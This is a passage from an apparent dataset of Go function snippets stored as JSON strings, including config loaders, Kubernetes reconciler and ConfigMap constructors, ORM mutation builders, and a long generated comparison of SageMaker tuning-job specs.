:= os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755)\\n\\tif err != nil {\\n\\t\\treturn rly.Config{}, err\\n\\t}\\n\\tdefer file.Close()\\n\\n\\terr = yaml.NewEncoder(file).Encode(config)\\n\\treturn config, err\\n}\",\n \"func newOperativeMutation(c config, op Op, opts ...operativeOption) *OperativeMutation {\\n\\tm := &OperativeMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeOperative,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func newConfigParser(conf *config, options flags.Options) *flags.Parser {\\n\\tparser := flags.NewParser(conf, options)\\n\\treturn parser\\n}\",\n \"func newConfigmap(customConfigmap *customConfigMapv1alpha1.CustomConfigMap) *corev1.ConfigMap {\\n\\tlabels := map[string]string{\\n\\t\\t\\\"name\\\": customConfigmap.Spec.ConfigMapName,\\n\\t\\t\\\"customConfigName\\\": customConfigmap.Name,\\n\\t\\t\\\"latest\\\": \\\"true\\\",\\n\\t}\\n\\tname := fmt.Sprintf(\\\"%s-%s\\\", customConfigmap.Spec.ConfigMapName, RandomSequence(5))\\n\\tconfigName := NameValidation(name)\\n\\treturn &corev1.ConfigMap{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: configName,\\n\\t\\t\\tNamespace: customConfigmap.Namespace,\\n\\t\\t\\tOwnerReferences: []metav1.OwnerReference{\\n\\t\\t\\t\\t*metav1.NewControllerRef(customConfigmap, customConfigMapv1alpha1.SchemeGroupVersion.WithKind(\\\"CustomConfigMap\\\")),\\n\\t\\t\\t},\\n\\t\\t\\tLabels: labels,\\n\\t\\t},\\n\\t\\tData: customConfigmap.Spec.Data,\\n\\t\\tBinaryData: customConfigmap.Spec.BinaryData,\\n\\t}\\n}\",\n \"func newMachineConfigDiff(oldConfig, newConfig *mcfgv1.MachineConfig) (*machineConfigDiff, error) {\\n\\toldIgn, err := ctrlcommon.ParseAndConvertConfig(oldConfig.Spec.Config.Raw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"parsing old Ignition config failed with error: %w\\\", err)\\n\\t}\\n\\tnewIgn, err := ctrlcommon.ParseAndConvertConfig(newConfig.Spec.Config.Raw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"parsing new Ignition config failed with error: %w\\\", err)\\n\\t}\\n\\n\\t// Both nil and empty slices are of zero length,\\n\\t// consider them as equal while comparing KernelArguments in both MachineConfigs\\n\\tkargsEmpty := len(oldConfig.Spec.KernelArguments) == 0 && len(newConfig.Spec.KernelArguments) == 0\\n\\textensionsEmpty := len(oldConfig.Spec.Extensions) == 0 && len(newConfig.Spec.Extensions) == 0\\n\\n\\tforce := forceFileExists()\\n\\treturn &machineConfigDiff{\\n\\t\\tosUpdate: oldConfig.Spec.OSImageURL != newConfig.Spec.OSImageURL || force,\\n\\t\\tkargs: !(kargsEmpty || reflect.DeepEqual(oldConfig.Spec.KernelArguments, newConfig.Spec.KernelArguments)),\\n\\t\\tfips: oldConfig.Spec.FIPS != newConfig.Spec.FIPS,\\n\\t\\tpasswd: !reflect.DeepEqual(oldIgn.Passwd, newIgn.Passwd),\\n\\t\\tfiles: !reflect.DeepEqual(oldIgn.Storage.Files, newIgn.Storage.Files),\\n\\t\\tunits: !reflect.DeepEqual(oldIgn.Systemd.Units, newIgn.Systemd.Units),\\n\\t\\tkernelType: canonicalizeKernelType(oldConfig.Spec.KernelType) != canonicalizeKernelType(newConfig.Spec.KernelType),\\n\\t\\textensions: !(extensionsEmpty || reflect.DeepEqual(oldConfig.Spec.Extensions, newConfig.Spec.Extensions)),\\n\\t}, nil\\n}\",\n \"func NewOperator(config Config, deps Dependencies) (*Operator, error) {\\n\\to := &Operator{\\n\\t\\tConfig: config,\\n\\t\\tDependencies: deps,\\n\\t\\tlog: deps.LogService.MustGetLogger(\\\"operator\\\"),\\n\\t\\tdeployments: make(map[string]*deployment.Deployment),\\n\\t\\tdeploymentReplications: make(map[string]*replication.DeploymentReplication),\\n\\t\\tlocalStorages: make(map[string]*storage.LocalStorage),\\n\\t}\\n\\treturn o, nil\\n}\",\n \"func newPetruleMutation(c config, op Op, opts ...petruleOption) *PetruleMutation {\\n\\tm := &PetruleMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypePetrule,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func newConfigParser(conf *litConfig, options flags.Options) *flags.Parser {\\n\\tparser := flags.NewParser(conf, options)\\n\\treturn parser\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\tvar err error\\n\\tvar c clientv3.Interface\\n\\tvar rc *rest.Config\\n\\n\\tif c, err = clientv3.NewFromEnv(); err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// for pods/exec\\n\\tif rc, err = rest.InClusterConfig(); err != nil {\\n\\t\\tlog.Error(err, \\\"Failed to get *rest.Config\\\")\\n\\t\\treturn nil\\n\\t}\\n\\treturn &ReconcileRouteReflector{client: mgr.GetClient(), calico: c, rconfig: rc, scheme: mgr.GetScheme()}\\n}\",\n \"func NewReconciler(m manager.Manager, of resource.ManagedKind, o ...ReconcilerOption) *Reconciler {\\n\\tnm := func() resource.Managed {\\n\\t\\treturn resource.MustCreateObject(schema.GroupVersionKind(of), m.GetScheme()).(resource.Managed)\\n\\t}\\n\\n\\t// Panic early if we've been asked to reconcile a resource kind that has not\\n\\t// been registered with our controller manager's scheme.\\n\\t_ = nm()\\n\\n\\tr := &Reconciler{\\n\\t\\tclient: m.GetClient(),\\n\\t\\tnewManaged: nm,\\n\\t\\tpollInterval: defaultpollInterval,\\n\\t\\ttimeout: reconcileTimeout,\\n\\t\\tmanaged: defaultMRManaged(m),\\n\\t\\texternal: defaultMRExternal(),\\n\\t\\tvalidator: defaultMRValidator(),\\n\\t\\t//resolver: defaultMRResolver(),\\n\\t\\tlog: logging.NewNopLogger(),\\n\\t\\trecord: event.NewNopRecorder(),\\n\\t}\\n\\n\\tfor _, ro := range o {\\n\\t\\tro(r)\\n\\t}\\n\\n\\treturn r\\n}\",\n \"func NewConfig(path string) SetterConfig {\\n\\tif path == \\\"\\\" {\\n\\t\\tfmt.Fprintf(os.Stderr, \\\"no config file found\\\\n\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tvar conf SetterConfig\\n\\n conf.GithubToken = \\\"\\\"\\n conf.SchemesMasterURL = \\\"https://raw.githubusercontent.com/chriskempson/base16-schemes-source/master/list.yaml\\\"\\n conf.TemplatesMasterURL = \\\"https://raw.githubusercontent.com/chriskempson/base16-templates-source/master/list.yaml\\\"\\n conf.SchemesListFile = \\\"cache/schemeslist.yaml\\\"\\n conf.TemplatesListFile = \\\"cache/templateslist.yaml\\\"\\n conf.SchemesCachePath = \\\"cache/schemes/\\\"\\n conf.TemplatesCachePath = \\\"cache/templates/\\\"\\n conf.DryRun = true\\n conf.Colorscheme = \\\"flat.yaml\\\"\\n conf.Applications = map[string]SetterAppConfig{}\\n\\n file, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\tfmt.Fprintf(os.Stderr, \\\"could not read config. Using defaults: %v\\\\n\\\", err)\\n\\t} else {\\n\\t check(err)\\n\\t err = yaml.Unmarshal((file), &conf)\\n\\t check(err)\\n\\n if conf.SchemesMasterURL == \\\"\\\" {\\n\\t\\t conf.SchemesMasterURL = defaultSchemesMasterURL\\n }\\n\\t if conf.TemplatesMasterURL == \\\"\\\" {\\n conf.TemplatesMasterURL = defaultTemplatesMasterURL\\n }\\n\\n conf.SchemesListFile = expandPath(conf.SchemesListFile)\\n conf.TemplatesListFile = expandPath(conf.TemplatesListFile)\\n conf.SchemesCachePath = expandPath(conf.SchemesCachePath)\\n conf.TemplatesCachePath = expandPath(conf.TemplatesCachePath)\\n for k := range conf.Applications {\\n if conf.Applications[k].Mode == \\\"\\\" {\\n app := conf.Applications[k]\\n app.Mode = \\\"rewrite\\\"\\n conf.Applications[k] = app\\n }\\n if conf.Applications[k].Comment_Prefix == \\\"\\\" {\\n app := conf.Applications[k]\\n app.Comment_Prefix = \\\"#\\\"\\n conf.Applications[k] = app\\n }\\n for f := range conf.Applications[k].Files {\\n conf.Applications[k].Files[f] = expandPath(conf.Applications[k].Files[f])\\n }\\n }\\n\\n }\\n\\treturn conf\\n}\",\n \"func newResourceDelta(\\n\\ta *resource,\\n\\tb *resource,\\n) *ackcompare.Delta {\\n\\tdelta := ackcompare.NewDelta()\\n\\tif (a == nil && b != nil) ||\\n\\t\\t(a != nil && b == nil) {\\n\\t\\tdelta.Add(\\\"\\\", a, b)\\n\\t\\treturn delta\\n\\t}\\n\\tcustomSetDefaults(a, b)\\n\\n\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig, b.ko.Spec.HyperParameterTuningJobConfig) {\\n\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig\\\", a.ko.Spec.HyperParameterTuningJobConfig, b.ko.Spec.HyperParameterTuningJobConfig)\\n\\t} else if a.ko.Spec.HyperParameterTuningJobConfig != nil && b.ko.Spec.HyperParameterTuningJobConfig != nil {\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective) {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective\\\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective)\\n\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName\\\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName)\\n\\t\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != *b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName\\\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type\\\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type)\\n\\t\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != *b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type\\\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges) {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ParameterRanges\\\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges)\\n\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges != nil && b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges != nil {\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges\\\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges)\\n\\t\\t\\t}\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges\\\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges)\\n\\t\\t\\t}\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges\\\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits) {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ResourceLimits\\\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits)\\n\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs\\\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs)\\n\\t\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != *b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs\\\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs\\\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs)\\n\\t\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != *b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs\\\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy) {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.Strategy\\\", a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy)\\n\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.Strategy != nil && b.ko.Spec.HyperParameterTuningJobConfig.Strategy != nil {\\n\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.Strategy != *b.ko.Spec.HyperParameterTuningJobConfig.Strategy {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.Strategy\\\", a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType) {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType\\\", a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType)\\n\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != nil && b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != nil {\\n\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != *b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType\\\", a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria) {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria\\\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria)\\n\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria != nil && b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue\\\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue)\\n\\t\\t\\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != nil && b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != *b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue\\\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName) {\\n\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobName\\\", a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName)\\n\\t} else if a.ko.Spec.HyperParameterTuningJobName != nil && b.ko.Spec.HyperParameterTuningJobName != nil {\\n\\t\\tif *a.ko.Spec.HyperParameterTuningJobName != *b.ko.Spec.HyperParameterTuningJobName {\\n\\t\\t\\tdelta.Add(\\\"Spec.HyperParameterTuningJobName\\\", a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName)\\n\\t\\t}\\n\\t}\\n\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition, b.ko.Spec.TrainingJobDefinition) {\\n\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition\\\", a.ko.Spec.TrainingJobDefinition, b.ko.Spec.TrainingJobDefinition)\\n\\t} else if a.ko.Spec.TrainingJobDefinition != nil && b.ko.Spec.TrainingJobDefinition != nil {\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions)\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode\\\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig, b.ko.Spec.TrainingJobDefinition.CheckpointConfig) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.CheckpointConfig\\\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig, b.ko.Spec.TrainingJobDefinition.CheckpointConfig)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.CheckpointConfig.LocalPath\\\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath)\\n\\t\\t\\t} else if 